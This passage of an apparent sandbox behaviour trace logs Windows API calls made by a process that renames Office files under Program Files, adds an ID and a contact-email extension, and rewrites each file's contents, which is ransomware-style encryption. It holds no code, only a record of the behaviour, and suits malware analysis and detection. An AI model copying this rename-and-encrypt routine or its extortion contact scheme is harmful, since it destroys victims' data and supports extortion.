Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.177] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.177] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1111, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f00 [0161.178] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0161.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\lt\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0161.178] GetProcessHeap () returned 0x630000 [0161.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x714508 [0161.178] GetProcessHeap () returned 0x630000 [0161.178] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1121) returned 0x7177cb8 [0161.178] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.178] ReadFile (in: hFile=0x6a4, lpBuffer=0x714508, nNumberOfBytesToRead=0x1100, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x714508*, lpNumberOfBytesRead=0x4e7ff0c*=0x1100, lpOverlapped=0x0) returned 1 [0161.214] GetProcessHeap () returned 0x630000 [0161.214] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176b10 [0161.214] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.214] WriteFile (in: hFile=0x6a4, lpBuffer=0x7177cb8*, nNumberOfBytesToWrite=0x1100, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7177cb8*, lpNumberOfBytesWritten=0x4e7ff0c*=0x1100, lpOverlapped=0x0) returned 1 [0161.214] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.215] WriteFile (in: hFile=0x6a4, lpBuffer=0x7178db7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7178db7*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.215] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.215] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.215] CloseHandle (hObject=0x6a4) returned 1 [0161.215] GetProcessHeap () returned 0x630000 [0161.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177cb8 | out: hHeap=0x630000) returned 1 [0161.215] GetProcessHeap () returned 0x630000 [0161.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x714508 | out: hHeap=0x630000) returned 1 [0161.215] GetProcessHeap () returned 0x630000 [0161.215] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176b10 | out: hHeap=0x630000) returned 1 [0161.215] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26092244, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0xbc87496, dwReserved1=0x714500, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5000 [0161.215] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0161.215] Sleep (dwMilliseconds=0x1) [0163.544] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll") returned 1 [0163.544] GetProcessHeap () returned 0x630000 [0163.544] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c2c) returned 0x707d3d0 [0163.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1063\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0165.384] CloseHandle (hObject=0x678) returned 1 [0165.384] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1063\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1063\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.191] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.192] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11860, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d53c0 [0168.192] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0168.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1063\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0168.192] GetProcessHeap () returned 0x630000 [0168.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7204590 [0168.192] GetProcessHeap () returned 0x630000 [0168.192] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x720f9c0 [0168.192] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0168.192] ReadFile (in: hFile=0x678, lpBuffer=0x7204590, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7204590*, lpNumberOfBytesRead=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.827] GetProcessHeap () returned 0x630000 [0176.827] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176d40 [0176.827] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.827] WriteFile (in: hFile=0x678, lpBuffer=0x720f9c0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x720f9c0*, lpNumberOfBytesWritten=0x4e7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0176.828] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.828] WriteFile (in: hFile=0x678, lpBuffer=0x721adbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x721adbf*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0176.828] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.828] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0176.828] CloseHandle (hObject=0x678) returned 1 [0176.828] GetProcessHeap () returned 0x630000 [0176.828] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x720f9c0 | out: hHeap=0x630000) returned 1 [0176.986] GetProcessHeap () returned 0x630000 [0176.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7204590 | out: hHeap=0x630000) returned 1 [0176.986] GetProcessHeap () returned 0x630000 [0176.986] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176d40 | out: hHeap=0x630000) returned 1 [0177.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.053] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1063\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56853a0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56853a0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f591e1b, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11884, dwReserved0=0xbc87496, dwReserved1=0x7204588, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d4f40 [0177.054] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0177.054] Sleep (dwMilliseconds=0x1) [0177.063] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK", len=0x46 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK") returned 1 [0177.063] GetProcessHeap () returned 0x630000 [0177.063] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b24) returned 0x707d3d0 [0177.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.143] CloseHandle (hObject=0x678) returned 1 [0177.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.144] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.144] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x72, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WID96A~1.FIR")) returned 0x6d52c0 [0177.144] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0177.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj_f_col.hxk.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.145] GetProcessHeap () returned 0x630000 [0177.145] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a5318 [0177.145] GetProcessHeap () returned 0x630000 [0177.145] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a53a8 [0177.145] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.145] ReadFile (in: hFile=0x678, lpBuffer=0x6a5318, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5318*, lpNumberOfBytesRead=0x4e7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.146] GetProcessHeap () returned 0x630000 [0177.146] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316f78 [0177.146] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.146] WriteFile (in: hFile=0x678, lpBuffer=0x6a53a8*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a53a8*, lpNumberOfBytesWritten=0x4e7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0177.146] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.147] WriteFile (in: hFile=0x678, lpBuffer=0x6a5407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5407*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.147] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.147] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.147] CloseHandle (hObject=0x678) returned 1 [0177.147] GetProcessHeap () returned 0x630000 [0177.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a53a8 | out: hHeap=0x630000) returned 1 [0177.147] GetProcessHeap () returned 0x630000 [0177.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5318 | out: hHeap=0x630000) returned 1 [0177.147] GetProcessHeap () returned 0x630000 [0177.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316f78 | out: hHeap=0x630000) returned 1 [0177.147] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.147] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x2f88cca1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x4e7fd20, dwReserved1=0x6a5318, cFileName="WINPROJ_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WID96A~1.FIR")) returned 0x6d5400 [0177.147] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0177.147] Sleep (dwMilliseconds=0x1) [0177.271] SysReAllocStringLen (in: pbstr=0x4e7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT", len=0x46 | out: pbstr=0x4e7ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT") returned 1 [0177.271] GetProcessHeap () returned 0x630000 [0177.271] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2af8) returned 0x707d3d0 [0177.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.272] CloseHandle (hObject=0x714) returned 1 [0177.272] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.272] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.273] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.273] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fc6c | out: lpFindFileData=0x4e7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4855a5d, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIO_~3.FIR")) returned 0x6d5400 [0177.273] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0177.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio_std_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0177.273] GetProcessHeap () returned 0x630000 [0177.273] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f6c98 [0177.273] GetProcessHeap () returned 0x630000 [0177.273] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x71f6ba8 [0177.273] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.273] ReadFile (in: hFile=0x714, lpBuffer=0x71f6c98, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6c98*, lpNumberOfBytesRead=0x4e7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.275] GetProcessHeap () returned 0x630000 [0177.275] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0177.275] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.275] WriteFile (in: hFile=0x714, lpBuffer=0x71f6ba8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6ba8*, lpNumberOfBytesWritten=0x4e7ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0177.275] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.275] WriteFile (in: hFile=0x714, lpBuffer=0x71f6c67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6c67*, lpNumberOfBytesWritten=0x4e7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.276] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.276] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4e7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x4e7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.276] CloseHandle (hObject=0x714) returned 1 [0177.276] GetProcessHeap () returned 0x630000 [0177.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f6ba8 | out: hHeap=0x630000) returned 1 [0177.276] GetProcessHeap () returned 0x630000 [0177.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f6c98 | out: hHeap=0x630000) returned 1 [0177.276] GetProcessHeap () returned 0x630000 [0177.276] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0177.276] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x4e7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.276] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_STD_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x4e7fcc4 | out: lpFindFileData=0x4e7fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4855a5d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x4855a5d, ftLastAccessTime.dwHighDateTime=0x1d47c32, 